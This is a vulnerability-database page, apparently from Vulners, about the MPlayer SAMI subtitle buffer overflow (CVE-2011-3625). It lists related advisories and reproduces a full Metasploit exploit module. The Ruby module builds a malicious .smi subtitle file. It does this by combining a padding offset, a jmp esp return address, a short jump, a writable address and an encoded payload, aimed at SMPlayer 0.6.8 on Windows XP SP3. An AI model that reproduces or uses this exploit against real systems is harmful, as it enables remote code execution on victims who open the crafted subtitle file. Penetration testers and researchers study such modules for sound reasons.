Lucene search
+L

MPlayer SAMI Subtitle File Buffer Overflow

🗓️ 19 May 2011 00:00:00Reported by Jacques Louw, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

MPlayer SAMI Subtitle File Buffer Overflow in MPlayer SVN Versions before 33471. Exploits stack-based buffer overflow in handling SAMI subtitles files, potentially allowing remote code execution on vulnerable systems

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-3625
30 May 201200:00
circl
cve
CVE
CVE-2011-3625
11 Jun 201414:00
cve
cvelist
Cvelist
CVE-2011-3625
11 Jun 201414:00
cvelist
debiancve
Debian CVE
CVE-2011-3625
11 Jun 201414:00
debiancve
exploitdb
Exploit DB
MPlayer - '.SAMI' Subtitle File Buffer Overflow (Metasploit)
30 May 201200:00
exploitdb
nessus
Tenable Nessus
GLSA-201310-13 : MPlayer: Multiple vulnerabilities
27 Oct 201300:00
nessus
gentoo
Gentoo Linux
MPlayer: Multiple vulnerabilities
25 Oct 201300:00
gentoo
nvd
NVD
CVE-2011-3625
11 Jun 201414:55
nvd
openvas
OpenVAS
Gentoo Security Advisory GLSA 201310-13
29 Sep 201500:00
openvas
osv
OSV
DEBIAN-CVE-2011-3625
11 Jun 201414:55
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow found in the handling
          of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
          targets SMPlayer 0.6.8, which is distributed with a vulnerable version of MPlayer.

          The overflow is triggered when an unsuspecting victim opens a movie file first,
          followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
          be done from the console with the MPlayer "-sub" option.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jacques Louw', # Vulnerability Discovery and PoC
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2011-3625' ],
          [ 'BID', '49149' ],
          [ 'OSVDB', '74604' ],
          [ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 4000,
          'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
            {
              'Offset' => 1033,
              'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
              'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-05-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']),
      ]
    )
  end

  # Split the subtitle to avoid mplayer complaining
  # about the line max length
  def sami_encode(s)
    r = ""
    i = 0
    while i < s.length
      r << s[i, 32]
      r << "\n"
      i += 32
    end
    r
  end

  def exploit
    sploit = rand_text(target['Offset'])
    sploit << [target.ret].pack("V")
    sploit << "\xeb\x06" # jmp short 0x8
    sploit << rand_text(2)
    sploit << [target['WritableAddress']].pack("V")
    sploit << payload.encoded

    sami = "<SAMI>\n"
    sami << "<BODY>\n"
    sami << "<SYNC Start=100550>\n"
    sami << sami_encode(sploit)
    sami << "</SYNC>\n"
    sami << "</BODY>\n"
    sami << "</SAMI>\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sami)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2011 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.24105
16